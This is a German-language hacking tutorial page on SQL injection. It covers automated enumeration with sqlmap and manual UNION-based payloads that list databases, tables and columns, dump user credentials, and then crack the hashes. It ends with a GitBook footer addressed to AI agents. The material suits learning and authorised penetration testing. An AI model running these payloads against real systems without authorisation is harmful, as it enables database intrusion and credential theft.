> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# SQL-Injection mit SQLMap und manuellem Testen
{% hint style="info" %}
Ein **SQL-Injection** ist eine Sicherheitslücke in Webanwendungen, die auftritt, wenn bösartige SQL-Abfragen in Eingabefelder eingefügt werden, um eine zugrunde liegende Datenbank zu manipulieren. Dadurch kann ein Angreifer auf nicht autorisierte Daten zugreifen, sie ändern oder filtern. Werkzeuge wie SQLMap automatisieren diesen Prozess, indem sie solche Schwachstellen identifizieren und ausnutzen und SQL-Injections automatisiert durchführen. Alternativ können Angreifer SQL-Injection-Angriffe auch manuell durchführen, indem sie Einträge direkt manipulieren, um sich unbefugten Zugriff auf die Datenbank zu verschaffen.
{% endhint %}
## Automatisierte SQL-Injection (SQLMap)
1. Fangen wir eine Suchanfrage mit Burp Suite ab:
2. Speichern wir diese Anfrage in einer Datei, die wir **request.req**:
3. Die Datei enthält Folgendes **Inhalt**:
4. Mit der **SQLMap** Mit dem Tool führen wir den folgenden Befehl aus, um zu sehen, ob diese Website **verwundbare** für einen **SQL-Angriff**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. Mit diesem Befehl listen wir alle **Datenbanken**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. Mit diesem Befehl listen wir alle **Tabellen** einer bestimmten Datenbank auf:
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. Mit diesem Befehl listen wir alle **Spalten** einer bestimmten Tabelle auf:
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. Mit diesem Befehl visualisieren wir die **Inhalt** der Spalten:
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*Wenn das Tool verschlüsselte Passwörter findet, entschlüsselt es sie automatisch*:
***
## Manuelle SQL-Injection
1. Fangen wir eine Suchanfrage mit Burp Suite ab:
2. Sende diese Anfrage an **Repeater**:
3. In dem **searchitem** Suchfeld, füge Folgendes hinzu:
```bash
test' order by 100-- -
```
4. Der Webserver teilt uns mit, dass es **nicht so viele Spalten gibt**:
5. Versuchen wir **bis nichts mehr übrig ist** (in diesem Fall gibt es 5 Spalten):
6. Wir wissen jetzt, dass es **5 Spalten gibt**, jetzt mit der **UNION** Funktion werden wir **anzeigen** sie:
```arduino
test' union select 1,2,3,4,5-- -
```
* Falls **der Name geändert wird** der 3. Spalte, zum Beispiel "test", dann **sich ebenfalls ändern**:
7. Das bedeutet, dass, wenn wir die **database()** oder **user()** Funktion einfügen, wird der **Datenbankname** oder der **Benutzername des Benutzers, unter dem die Datenbank läuft** angezeigt:
**IM FOLGENDEN IST DAS VERFAHREN FÜR DIE MANUELLE AUFLISTUNG:**
1. Listen wir alle **Datenbanken**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. Listen wir alle **Tabellen** einer bestimmten Datenbank auf:
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. Listen wir alle **Spalten** einer bestimmten Tabelle auf:
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. Visualisieren wir die **Inhalte der Spalten für Benutzername und Passwort** (in diesem Fall verwenden wir die Spalten "product name" und "product type"):
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* Listen wir die **Inhalte der Spalten für Benutzername und Passwort** noch einmal auf:
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **Kopieren wir den Inhalt** in den Pretty-Bereich von Burp Suite:
6. Öffnen wir den **Nvim** Texteditor und fügen wir den kopierten Text ein; verwenden wir dann diesen Befehl, um ihn korrekt zu formatieren: `:%s/,//r/g`
7. Mit diesem Befehl behalten wir nur die Hashes und kopieren sie in die **Zwischenablage**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. Schließlich erhalten wir mit der [Hashes.com](https://hashes.com/en/decrypt/hash) Website die Passwörter in **Klartext**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.